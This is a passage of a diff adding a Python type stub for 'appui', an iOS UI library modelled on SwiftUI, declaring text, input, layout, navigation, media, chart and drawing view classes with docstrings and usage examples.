confirmationDialog = confirmation_dialog + contextMenu = context_menu + swipeActions = swipe_actions + submitLabel = submit_label + keyboardDismiss = keyboard_dismiss + ignoreSafeArea = ignore_safe_area + fixedSize = fixed_size + layoutPriority = layout_priority + scaleEffect = scale_effect + rotationEffect = rotation_effect + rotation3dEffect = rotation_3d_effect + matchedGeometryEffect = matched_geometry_effect + contentTransition = content_transition + phaseAnimator = phase_animator + minimumScaleFactor = minimum_scale_factor + multilineTextAlignment = multiline_text_alignment + truncationMode = truncation_mode + accessibilityLabel = accessibility_label + accessibilityHidden = accessibility_hidden + listRowBackground = list_row_background + listRowSeparator = list_row_separator + listRowInsets = list_row_insets + scrollContentBackground = scroll_content_background + scrollPosition = scroll_position + scrollTargetLayout = scroll_target_layout + scrollTargetBehavior = scroll_target_behavior + defaultScrollAnchor = default_scroll_anchor + scrollClipDisabled = scroll_clip_disabled + contentMargins = content_margins + symbolEffect = symbol_effect + scrollTransition = scroll_transition + containerRelativeFrame = container_relative_frame + simultaneousGesture = simultaneous_gesture + highPriorityGesture = high_priority_gesture + sensoryFeedback = sensory_feedback + preferredColorScheme = preferred_color_scheme + environmentValue = environment_value + contentShape = content_shape + safeAreaInset = safe_area_inset + toolbarBackground = toolbar_background + toolbarColorScheme = toolbar_color_scheme + navigationDestination = navigation_destination + safeAreaBar = safe_area_bar + tabViewBottomAccessory = tab_view_bottom_accessory + tabBarMinimizeBehavior = tab_bar_minimize_behavior + tabViewSearchActivation = tab_view_search_activation + searchToolbarBehavior = search_toolbar_behavior + zIndex = z_index + drawingGroup = drawing_group + glassEffect = glass_effect + backgroundExtensionEffect = background_extension_effect + glassEffectID = glass_effect_id + glassEffectTransition = glass_effect_transition + glassEffectUnion = glass_effect_union + scrollEdgeEffectStyle = scroll_edge_effect_style + scrollEdgeEffectHidden = scroll_edge_effect_hidden + + +# ═══════════════════════════════════════════════════════════ +# Text & Labels +# ═══════════════════════════════════════════════════════════ + +class Text(View): + """Display static or dynamic text. + + Example:: + + appui.Text("Hello World").font("title").bold().foreground_color("systemBlue") + """ + content: str + def __init__(self, content: str = '') -> None: ... + def aurora_set_content(self, content: str) -> None: + """Update text content via Aurora binary fast-path.""" + ... + +class Label(View): + """Title + icon combination (SF Symbol or custom image). + + Example:: + + appui.Label("Settings", system_image="gear") + """ + title: str + def __init__(self, title: str = '', system_image: Optional[str] = None, + image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ... + def aurora_set_title(self, title: str) -> None: + """Update label title text via Aurora binary fast-path.""" + ... + +class AttributedText(View): + """Rich text with per-span styling. + + Example:: + + appui.AttributedText(spans=[ + {"text": "Bold ", "bold": True}, + {"text": "Red", "color": "systemRed"}, + ]) + """ + def __init__(self, spans: Optional[List[Dict[str, Any]]] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Images +# ═══════════════════════════════════════════════════════════ + +class Image(View): + """Display an SF Symbol or named image asset. + + Example:: + + appui.Image(system_name="star.fill").resizable().aspect_ratio(content_mode="fit").frame(width=40, height=40) + """ + def __init__(self, name: Optional[str] = None, system_name: Optional[str] = None, + systemName: Optional[str] = None) -> None: ... + def aurora_set_system_name(self, system_name: Optional[str]) -> None: + """Update a system-symbol image via Aurora binary fast-path.""" + ... + def resizable(self) -> Self: + """Make the image resizable.""" + ... + def aspect_ratio(self, ratio: Optional[float] = None, content_mode: str = 'fit', + **kwargs: Any) -> Self: + """Set aspect ratio. content_mode: ``'fit'`` or ``'fill'``.""" + ... + def symbol_rendering_mode(self, mode: str) -> Self: + """SF Symbol rendering: ``'hierarchical'``, ``'palette'``, ``'multicolor'``, ``'monochrome'``.""" + ... + def image_scale(self, scale: str) -> Self: + """Image scale: ``'small'``, ``'medium'``, ``'large'``.""" + ... + # CamelCase aliases + aspectRatio = aspect_ratio + imageScale = image_scale + symbolRenderingMode = symbol_rendering_mode + +class AsyncImage(View): + """Load an image from a URL asynchronously. + + Example:: + + appui.AsyncImage(url="https://example.com/photo.jpg") + .aspect_ratio(5 / 7, content_mode="fill") + """ + def __init__(self, url: str = '', placeholder: Optional[View] = None, + error_view: Optional[View] = None, content_mode: str = 'fit', + on_success: Optional[Callable] = None, + on_failure: Optional[Callable] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Input Controls +# ═══════════════════════════════════════════════════════════ + +class Button(View): + """A standard button. + + Example:: + + appui.Button("Save", action=save_data, role="destructive") + appui.Button(appui.Image(system_name="trash"), action=delete_item) + appui.Button(role="close", content=appui.Label("", system_image="xmark")) + appui.Button(action=do_thing, content=appui.Label("Go", system_image="arrow.right")) + """ + def __init__(self, title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, + role: Optional[str] = None, content: Optional[ViewChild] = None) -> None: ... + +class CloseButton(View): + """A semantic MiniApp close button. + + Use inside a toolbar when you want to provide your own close control. In + ``fullscreen_with_close`` this prevents the host from injecting a duplicate + close button for the containing NavigationStack. + """ + def __init__(self, title: str = '', system_image: str = 'xmark', + systemImage: Optional[str] = None) -> None: ... + +class TextField(View): + """Single-line text input. + + Example:: + + def set_name(value): + state.name = value + + appui.TextField("Enter name", text=state.name, on_change=set_name) + """ + text: str + def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, + on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, + autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, + submit_label: Optional[str] = None, + onChange: Optional[Callable] = None, + onSubmit: Optional[Callable] = None, + keyboardType: Optional[str] = None, + autoCapitalization: Optional[str] = None, + autocorrectionDisabled: Optional[bool] = None, + submitLabel: Optional[str] = None, + value: Optional[str] = None, + **kwargs: Any) -> None: ... + def aurora_set_text(self, text: str) -> None: + """Update text field content via Aurora binary fast-path.""" + ... + +class SecureField(View): + """Password input field.""" + def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, + on_submit: Optional[Callable] = None, + onChange: Optional[Callable] = None, + onSubmit: Optional[Callable] = None) -> None: ... + +class TextEditor(View): + """Multi-line text editing area.""" + def __init__(self, text: str = '', on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class TextFieldLink(View): + """Text field that triggers a submission action.""" + def __init__(self, title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, + onSubmit: Optional[Callable] = None) -> None: ... + +class SearchField(View): + """Standalone search field.""" + def __init__(self, text: str = '', placeholder: str = 'Search', + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + on_submit: Optional[Callable] = None, + onSubmit: Optional[Callable] = None) -> None: ... + +class Toggle(View): + """On/off switch. + + Example:: + + def set_dark(value): + state.dark = value + + appui.Toggle("Dark Mode", is_on=state.dark, on_change=set_dark) + """ + is_on: bool + def __init__(self, label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, + isOn: Optional[bool] = None, onChange: Optional[Callable] = None, + value: Optional[bool] = None) -> None: ... + def aurora_set_is_on(self, value: bool) -> None: + """Update toggle state via Aurora binary fast-path.""" + ... + +class Slider(View): + """Continuous value slider. + + Example:: + + def set_volume(value): + state.vol = value + + appui.Slider(value=state.vol, minimum=0, maximum=100, on_change=set_volume) + """ + value: float + def __init__(self, value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, + step: Optional[float] = None, label: str = '', + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + minValue: Optional[float] = None, + maxValue: Optional[float] = None) -> None: ... + def aurora_set_value(self, value: float) -> None: + """Update slider value via Aurora binary fast-path.""" + ... + +class Stepper(View): + """Increment/decrement control.""" + value: int + def __init__(self, label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, + step: int = 1, on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + def aurora_set_value(self, value: int) -> None: + """Update stepper value via Aurora binary fast-path.""" + ... + +class Picker(View): + """Selection picker (dropdown/wheel/menu). + + Style controlled by ``.picker_style()``.""" + def __init__(self, label: str = '', selection: Optional[str] = None, + options: Optional[List[str]] = None, on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class SegmentedControl(View): + """Horizontal segmented picker.""" + def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class InlinePickerStyle(View): + """Inline picker displayed directly in the layout.""" + def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class WheelPicker(View): + """Scrolling wheel picker.""" + def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class DatePicker(View): + """Date and/or time picker. + + Args: + components: ``'date'``, ``'hourAndMinute'``, or both joined.""" + def __init__(self, label: str = '', selection: Optional[str] = None, components: str = 'date', + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class MultiDatePicker(View): + """Multi-date selection (iOS 16+).""" + def __init__(self, title: str = '', on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class ColorPicker(View): + """Native color picker.""" + def __init__(self, label: str = '', selection: Optional[str] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class Menu(View): + """Dropdown menu. + + Example:: + + appui.Menu("Actions", content=[ + appui.Button("Copy", action=copy), + appui.Button("Delete", action=delete, role="destructive"), + ]) + """ + def __init__(self, title: str = '', content: Optional[List[View]] = None, + children: Optional[List[View]] = None) -> None: ... + +class PasteButton(View): + """System paste button (iOS 16+).""" + def __init__(self, on_paste: Optional[Callable] = None, + onPaste: Optional[Callable] = None) -> None: ... + +class RenameButton(View): + """System rename button.""" + def __init__(self, action: Optional[Callable] = None) -> None: ... + +class EditButton(View): + """System edit-mode toggle button.""" + pass + +class SignInWithAppleButton(View): + """Apple Sign-In button. + + Args: + type: ``'signIn'``, ``'continue'``, ``'signUp'``.""" + def __init__(self, type: str = 'signIn', on_complete: Optional[Callable] = None, + onComplete: Optional[Callable] = None) -> None: ... + +class PhotoPicker(View): + """Photo library picker. + + Args: + filter: ``'images'``, ``'videos'``, or ``'all'``.""" + def __init__(self, selection_limit: int = 1, filter: str = 'images', + on_picked: Optional[Callable] = None, label: Optional[View] = None, + selectionLimit: Optional[int] = None, + onPicked: Optional[Callable] = None, + **kwargs: Any) -> None: ... + +class CameraPicker(View): + """Camera capture view. + + Args: + source: ``'camera'`` or ``'front'``. + media_type: ``'photo'`` or ``'video'``.""" + def __init__(self, source: str = 'camera', media_type: str = 'photo', + on_captured: Optional[Callable] = None, label: Optional[View] = None, + mediaType: Optional[str] = None, + onCaptured: Optional[Callable] = None, + **kwargs: Any) -> None: ... + + +class FileImporter(View): + """System document picker for importing files. + + Args: + allowed_types: type names, filename extensions, or MIME types. + allows_multiple: allow selecting more than one file. + copy: copy selected files into the app sandbox before returning paths. + on_picked: callback receiving a list of file-path strings.""" + def __init__(self, + allowed_types: Optional[Union[str, Sequence[str]]] = None, + allows_multiple: bool = False, + copy: bool = True, + on_picked: Optional[Callable] = None, + label: Optional[View] = None, + allowedTypes: Optional[Union[str, Sequence[str]]] = None, + allowsMultiple: Optional[bool] = None, + onPicked: Optional[Callable] = None, + **kwargs: Any) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Layout Containers +# ═══════════════════════════════════════════════════════════ + +class _ContainerView(View): + """Base for container views that support ``with`` context-manager syntax.""" + def __enter__(self) -> Self: ... + def __exit__(self, *exc: Any) -> bool: ... + +class VStack(_ContainerView): + """Vertical stack layout. + + Example:: + + appui.VStack([appui.Text("A"), appui.Text("B")], spacing=8, alignment="leading") + """ + def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class HStack(_ContainerView): + """Horizontal stack layout.""" + def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class ZStack(_ContainerView): + """Overlay stack — children layered on top of each other.""" + def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center') -> None: ... + +class LazyVStack(View): + """Lazy vertical stack — renders children on demand.""" + def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class LazyHStack(View): + """Lazy horizontal stack.""" + def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', + spacing: Optional[float] = None) -> None: ... + +class ScrollView(_ContainerView): + """Scrollable container. + + Args: + axes: ``'vertical'``, ``'horizontal'``, ``'both'``.""" + def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', + shows_indicators: bool = True, + showsIndicators: Optional[bool] = None) -> None: ... + +class ScrollViewReader(View): + """ScrollView with programmatic scroll-to support. + + Example:: + + appui.ScrollViewReader([...], scroll_to="item_5", anchor="center") + """ + def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', + shows_indicators: bool = True, scroll_to: Optional[str] = None, + anchor: str = 'top', showsIndicators: Optional[bool] = None, + scrollTo: Optional[str] = None, + children: Optional[ViewChild] = None) -> None: ... + +class Spacer(View): + """Flexible space that expands to fill available room.""" + def __init__(self, min_length: Optional[float] = None, + minLength: Optional[float] = None) -> None: ... + +class Divider(View): + """Thin horizontal line separator.""" + pass + +class LazyVGrid(View): + """Lazy vertical grid. + + Example:: + + appui.LazyVGrid(columns=[appui.flexible(), appui.flexible()], content=[...]) + """ + def __init__(self, columns: Optional[List[dict]] = None, content: Optional[List[View]] = None, + spacing: Optional[float] = None, children: Optional[List[View]] = None) -> None: ... + +class LazyHGrid(View): + """Lazy horizontal grid.""" + def __init__(self, rows: Optional[List[dict]] = None, content: Optional[List[View]] = None, + spacing: Optional[float] = None, children: Optional[List[View]] = None) -> None: ... + +class Grid(View): + """Precise grid layout (like HTML ````). Use with ``GridRow``.""" + def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', + horizontal_spacing: Optional[float] = None, + vertical_spacing: Optional[float] = None, + horizontalSpacing: Optional[float] = None, + verticalSpacing: Optional[float] = None) -> None: ... + +class GridRow(View): + """A single row inside a ``Grid``.""" + def __init__(self, content: Optional[List[View]] = None, + alignment: Optional[str] = None) -> None: ... + +class GeometryReader(View): + """Read the parent's size and position. + + The ``on_change`` callback receives ``{'width': float, 'height': float}``.""" + def __init__(self, content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + children: Optional[ViewChild] = None, + on_geometry: Optional[Callable] = None, + onGeometry: Optional[Callable] = None) -> None: ... + +class ViewThatFits(View): + """Picks the first child that fits the available space.""" + def __init__(self, content: Optional[List[View]] = None) -> None: ... + +class Group(View): + """Logical grouping — does not add any visual element or layout.""" + def __init__(self, content: Optional[List[View]] = None) -> None: ... + +class Overlay(View): + """Layer an overlay view on top of content.""" + def __init__(self, content: Optional[View] = None, overlay: Optional[View] = None, + alignment: str = 'center') -> None: ... + +class SafeAreaInset(View): + """Pin content to a safe-area edge.""" + def __init__(self, edge: str = 'bottom', content: Optional[View] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Navigation +# ═══════════════════════════════════════════════════════════ + +class NavigationStack(View): + """Container for push-based navigation. + + Example:: + + appui.NavigationStack( + appui.List([ + appui.NavigationLink("Detail", destination=detail_view()) + ]).navigation_title("Home") + ) + """ + def __init__(self, content: Optional[View] = None, path: Optional[NavigationPath] = None, + destinations: Optional[Dict[str, Callable]] = None) -> None: ... + +NavigationView = NavigationStack +"""Alias: ``NavigationView`` is the same as ``NavigationStack``.""" + +class NavigationLink(View): + """Push a destination view onto the navigation stack.""" + def __init__(self, title: Optional[str] = None, destination: Optional[View] = None, + label: Optional[View] = None) -> None: ... + +class NavigationSplitView(View): + """Two- or three-column layout (iPad). + + Args: + column_visibility: ``'all'``, ``'double'``, ``'detail'``.""" + def __init__(self, sidebar: Optional[View] = None, detail: Optional[View] = None, + supplementary: Optional[View] = None, column_visibility: str = 'all') -> None: ... + +class TabView(View): + """Tab-based navigation. + + Example:: + + appui.TabView(tabs=[ + appui.Tab("Home", system_image="house", content=home_view()), + appui.Tab("Settings", system_image="gear", content=settings_view()), + ]) + """ + def __init__(self, tabs: Optional[List["Tab"]] = None, selection: Optional[int] = None, + on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None) -> None: ... + +class Tab(View): + """A single tab for ``TabView``. + + ``role`` supports ``'search'`` on iOS 18+ for the trailing search tab affordance. + """ + def __init__(self, title: str = '', system_image: Optional[str] = None, + image: Optional[str] = None, content: Optional[View] = None, + badge: Optional[int] = None, tag: Optional[int] = None, + systemImage: Optional[str] = None, role: Optional[str] = None) -> None: ... + def badge(self, count: Any) -> Self: + """Show a badge on this tab.""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Data Display +# ═══════════════════════════════════════════════════════════ + +class List(_ContainerView): + """Scrollable list of rows. Style with ``.list_style()``.""" + def __init__(self, content: Optional[List[View]] = None) -> None: ... + +class ForEach(View): + """Dynamic list of views from data. + + Example:: + + def row_view(item): + return appui.Text(item.name) + + def item_key(item): + return item.id + + appui.ForEach(items, row_builder=row_view, key=item_key) + """ + def __init__(self, data: Any, row_builder: Optional[Callable] = None, + key: Optional[Callable] = None, + rowBuilder: Optional[Callable] = None, + content: Optional[Callable] = None) -> None: ... + +class Form(_ContainerView): + """Grouped settings form. Use with ``Section``.""" + def __init__(self, content: Optional[List[View]] = None) -> None: ... + +class Section(_ContainerView): + """Section inside a ``List`` or ``Form`` with optional header/footer.""" + @overload + def __init__(self, header: Union[str, View], content: Optional[ViewChild] = None, + footer: Optional[Union[str, View]] = None) -> None: ... + @overload + def __init__(self, content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, + footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None) -> None: ... + +class GroupBox(View): + """Titled content group box.""" + def __init__(self, label: Optional[str] = None, content: Optional[ViewChild] = None, + children: Optional[List[View]] = None) -> None: ... + +class DisclosureGroup(View): + """Expandable/collapsible content group.""" + def __init__(self, label: str = '', is_expanded: Optional[bool] = None, + content: Optional[ViewChild] = None, + isExpanded: Optional[bool] = None, + children: Optional[ViewChild] = None) -> None: ... + +class LabeledContent(View): + """Label-value pair for settings rows.""" + def __init__(self, label: str = '', value: Optional[str] = None, + content: Optional[View] = None) -> None: ... + +class Table(View): + """Multi-column table (iPad, iOS 17.4+). Falls back to ``List`` on iPhone.""" + def __init__(self, data: Optional[List[Dict[str, Any]]] = None, + columns: Optional[List[Dict[str, str]]] = None, + on_select: Optional[Callable] = None, + onSelect: Optional[Callable] = None) -> None: ... + +class ControlGroup(View): + """Group related controls together.""" + def __init__(self, label: str = '', content: Optional[List[View]] = None, + children: Optional[List[View]] = None) -> None: ... + +class ContentUnavailableView(View): + """Empty state placeholder view.""" + def __init__(self, title: str = '', system_image: Optional[str] = None, + description: Optional[str] = None, + systemImage: Optional[str] = None) -> None: ... + +class ProgressView(View): + """Determinate or indeterminate progress indicator. + + Omit ``value`` for an indeterminate spinner.""" + value: Optional[float] + def __init__(self, label: Optional[str] = None, value: Optional[float] = None, + total: float = 1.0) -> None: ... + def aurora_set_value(self, value: Optional[float]) -> None: + """Update progress value via Aurora binary fast-path.""" + ... + +class Link(View): + """Tappable hyperlink that opens a URL.""" + def __init__(self, title: str = '', url: str = '') -> None: ... + +class Gauge(View): + """Value gauge indicator.""" + def __init__(self, value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, + label: str = '', minValue: Optional[float] = None, + maxValue: Optional[float] = None) -> None: ... + +class ShareLink(View): + """Share button that presents a system share sheet.""" + def __init__(self, item: str = '', subject: Optional[str] = None, + message: Optional[str] = None) -> None: ... + +class Badge(View): + """Numeric or text badge overlay.""" + def __init__(self, count: Optional[int] = None, text: Optional[str] = None) -> None: ... + +class TimelineView(View): + """Periodically updating view (e.g., clocks).""" + def __init__(self, interval: float = 1.0, content: Optional[View] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Presentation Views +# ═══════════════════════════════════════════════════════════ + +class Alert(View): + """Alert dialog as a standalone view.""" + def __init__(self, title: str = '', message: Optional[str] = None, + is_presented: bool = False, actions: Optional[List[View]] = None, + isPresented: Optional[bool] = None) -> None: ... + +class ConfirmationDialog(View): + """Confirmation action sheet as a standalone view.""" + def __init__(self, title: str = '', message: Optional[str] = None, + is_presented: bool = False, actions: Optional[List[View]] = None, + isPresented: Optional[bool] = None) -> None: ... + +class Popover(View): + """Popover container (iPad shows popover, iPhone shows sheet).""" + def __init__(self, is_presented: bool = False, content: Optional[View] = None, + trigger: Optional[View] = None, + isPresented: Optional[bool] = None) -> None: ... + +class Refreshable(View): + """Pull-to-refresh container.""" + def __init__(self, on_refresh: Optional[Callable] = None, + onRefresh: Optional[Callable] = None, + content: Optional[ViewChild] = None) -> None: ... + +class SwipeActions(View): + """Swipe-action container for list rows.""" + def __init__(self, content: Optional[View] = None, leading: Optional[List[View]] = None, + trailing: Optional[List[View]] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Media & Maps +# ═══════════════════════════════════════════════════════════ + +class MapView(View): + """Native Apple Maps view. + + Example:: + + appui.MapView(latitude=31.23, longitude=121.47, span=0.05, markers=[ + {"latitude": 31.23, "longitude": 121.47, "title": "Shanghai"}, + ]) + """ + def __init__(self, latitude: float = 37.7749, longitude: float = -122.4194, + span: float = 0.05, markers: Optional[List[Dict[str, Any]]] = None, + map_style: str = 'automatic', + mapStyle: Optional[str] = None) -> None: ... + def aurora_set_center(self, latitude: float, longitude: float) -> None: + """Update map center via Aurora binary fast-path.""" + ... + def aurora_set_span(self, span: float) -> None: + """Update map span via Aurora binary fast-path.""" + ... + +class WebView(View): + """Embedded web view (WKWebView). Provide ``url`` or ``html``.""" + def __init__(self, url: Optional[str] = None, html: Optional[str] = None) -> None: ... + +class PlayerController: + """Primary AppUI video controller for ``VideoPlayer(player=...)``. + + Use this in AppUI media MiniApps that need seek, progress persistence, + playback rate, completion, error, status, or PiP callbacks. Pure playback + scripts can use the lower-level ``avplayer`` module instead. + """ + id: str + url: str + autoplay: bool + loop: bool + rate: float + volume: float + allows_pip: bool + allows_airplay: bool + video_gravity: str + pause_on_disappear: bool + current_time: float + duration: float + is_playing: bool + def __init__(self, id: str = 'main', url: str = '', autoplay: bool = False, + loop: bool = False, rate: float = 1.0, volume: float = 1.0, + allows_pip: bool = True, allows_airplay: bool = True, + video_gravity: str = 'resizeAspect', + pause_on_disappear: bool = True) -> None: ... + def load(self, url: str, autoplay: Optional[bool] = None) -> bool: ... + def play(self, rate: Optional[float] = None) -> 'PlayerController': ... + def pause(self) -> 'PlayerController': ... + def stop(self) -> 'PlayerController': ... + def seek(self, seconds: float) -> 'PlayerController': ... + def set_rate(self, rate: float) -> 'PlayerController': ... + def set_volume(self, volume: float) -> 'PlayerController': ... + def on_progress(self, action: Optional[Callable[[float], Any]] = None, + interval: float = 1.0) -> Any: ... + def on_finished(self, action: Optional[Callable[[], Any]] = None) -> Any: ... + def on_error(self, action: Optional[Callable[[str], Any]] = None) -> Any: ... + def on_status_change(self, action: Optional[Callable[[str], Any]] = None) -> Any: ... + def on_pip_change(self, action: Optional[Callable[[bool], Any]] = None) -> Any: ... + def cleanup(self) -> None: ... + +class VideoPlayer(View): + """Video player (AVKit). + + Example:: + + appui.VideoPlayer(url="https://example.com/video.mp4", autoplay=True, loop=True) + player = appui.PlayerController("main", url="https://example.com/video.m3u8") + appui.VideoPlayer(player=player) + """ + def __init__(self, url: str = '', autoplay: bool = False, loop: bool = False, + show_controls: bool = True, presentation: str = 'inline', + allows_fullscreen: bool = True, allows_pip: bool = True, + allows_airplay: bool = True, video_gravity: str = 'resizeAspect', + enters_fullscreen_when_playback_begins: bool = False, + exits_fullscreen_when_playback_ends: bool = True, + showControls: Optional[bool] = None, + allowsFullscreen: Optional[bool] = None, + allowsPiP: Optional[bool] = None, + allowsPictureInPicture: Optional[bool] = None, + allowsAirPlay: Optional[bool] = None, + videoGravity: Optional[str] = None, + entersFullscreenWhenPlaybackBegins: Optional[bool] = None, + exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, + allows_picture_in_picture: Optional[bool] = None, + player: Optional[PlayerController] = None, + player_id: Optional[str] = None, + pause_on_disappear: Optional[bool] = None) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Charts (iOS 16+) +# ═══════════════════════════════════════════════════════════ + +class Chart(View): + """Swift Charts view. Types: ``'bar'``, ``'line'``, ``'area'``, ``'point'``, ``'rule'``. + + Example:: + + appui.Chart(data=[{"x": "Jan", "y": 100}, {"x": "Feb", "y": 200}], + x="x", y="y", type="bar", color="systemBlue") + """ + def __init__(self, data: Optional[List[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', + type: str = 'bar', color: Optional[ColorLike] = None, + series: Optional[str] = None) -> None: ... + def aurora_set_data(self, data: List[Dict[str, Any]]) -> None: + """Update chart data via Aurora binary fast-path (avoids full rebuild).""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Canvas & Drawing +# ═══════════════════════════════════════════════════════════ + +class DrawingContext: + """Canvas drawing command builder — chain calls then pass to ``Canvas``. + + Example:: + + ctx = appui.DrawingContext() + ctx.fill_rect(10, 10, 100, 50, color="systemBlue") + ctx.fill_circle(80, 80, 30, color="systemRed") + ctx.fill_text("Hello", 10, 120, font_size=20) + appui.Canvas(width=200, height=200, context=ctx) + """ + commands: List[Dict[str, Any]] + def __init__(self) -> None: ... + def fill_rect(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black') -> Self: ... + def stroke_rect(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def fill_circle(self, cx: float, cy: float, radius: float, + color: ColorLike = 'black') -> Self: ... + def stroke_circle(self, cx: float, cy: float, radius: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def fill_ellipse(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black') -> Self: ... + def stroke_ellipse(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def line(self, x1: float, y1: float, x2: float, y2: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def fill_text(self, text: str, x: float, y: float, color: ColorLike = 'black', + font_size: float = 16, **kwargs: Any) -> Self: ... + def fill_path(self, points: List[Tuple[float, float]], color: ColorLike = 'black', + close: bool = True) -> Self: ... + def stroke_path(self, points: List[Tuple[float, float]], color: ColorLike = 'black', + line_width: float = 1, close: bool = False, + **kwargs: Any) -> Self: ... + def arc(self, cx: float, cy: float, radius: float, start_angle: float = 0, + end_angle: float = 360, color: ColorLike = 'black', line_width: float = 1, + fill: bool = False, **kwargs: Any) -> Self: ... + def rounded_rect(self, x: float, y: float, width: float, height: float, + corner_radius: float = 8, color: ColorLike = 'black', + line_width: float = 1, fill: bool = True, + **kwargs: Any) -> Self: ... + def gradient_rect(self, x: float, y: float, width: float, height: float, + colors: Optional[List[ColorLike]] = None, + vertical: bool = True) -> Self: ... + +class Canvas(View): + """2D drawing canvas. Fill with ``DrawingContext`` commands.""" + def __init__(self, width: float = 300, height: float = 300, + commands: Optional[List[Dict[str, Any]]] = None, + context: Optional[DrawingContext] = None) -> None: ... + def aurora_set_commands(self, commands: Optional[List[Dict[str, Any]]] = None, + context: Optional[DrawingContext] = None) -> None: + """Update canvas draw commands via Aurora binary fast-path.""" + ... + +class Path(View): + """Vector path view. + + Commands: ``{'move': [x, y]}``, ``{'line': [x, y]}``, + ``{'curve': [cx1, cy1, cx2, cy2, x, y]}``, + ``{'arc': [cx, cy, r, startDeg, endDeg]}``, ``{'close': True}``.""" + def __init__(self, commands: Optional[List[Dict[str, Any]]] = None, + fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, + line_width: Optional[float] = None) -> None: ... + def aurora_set_commands(self, commands: List[Dict[str, Any]]) -> None: + """Update path commands via Aurora binary fast-path.""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Shapes +# ═══════════════════════════════════════════════════════════ + +class _Shape(View): + """Base for shape views. Use ``.fill()`` and ``.stroke()``.""" + def fill(self, color: ColorLike) -> Self: + """Fill the shape with a color.""" + ... + def stroke(self, color: ColorLike, line_width: float = 1, **kwargs: Any) -> Self: + """Stroke the shape outline.""" + ... + +class Rectangle(_Shape): + """A rectangle shape.""" + def __init__(self) -> None: ... + +class RoundedRectangle(_Shape): + """A rounded rectangle shape.""" + def __init__(self, corner_radius: float = 10, + cornerRadius: Optional[float] = None) -> None: ... + +class Circle(_Shape): + """A circle shape.""" + def __init__(self) -> None: ... + +class Capsule(_Shape): + """A capsule (stadium) shape.""" + def __init__(self) -> None: ... + +class Ellipse(_Shape): + """An ellipse shape.""" + def __init__(self) -> None: ... + +class Color(View): + """A solid color view or color value. + + Example:: + + appui.Color("systemBlue") + appui.Color(red=0.2, green=0.5, blue=0.8, opacity=0.9) + """ + def __init__(self, value: Optional[ColorLike] = None, red: Optional[float] = None, + green: Optional[float] = None, blue: Optional[float] = None, + opacity: float = 1.0) -> None: ... + +class ToolbarItem(View): + """An item placed in a toolbar. + + Args: + placement: ``'automatic'``, ``'navigation_bar_leading'``, + ``'navigation_bar_trailing'``, ``'bottom_bar'``, + ``'principal'``, ``'keyboard'``. + role: optional semantic role. Use ``'close'`` for a custom close item; + fullscreen_with_close will then not inject a duplicate close button + for that NavigationStack.""" + def __init__(self, placement: str = 'automatic', content: Optional[View] = None, + role: Optional[str] = None) -> None: ... + + +class ToolbarSpacer(View): + """An iOS 26 SwiftUI ``ToolbarSpacer`` item for separating toolbar groups.""" + def __init__(self, sizing: str = 'fixed', placement: 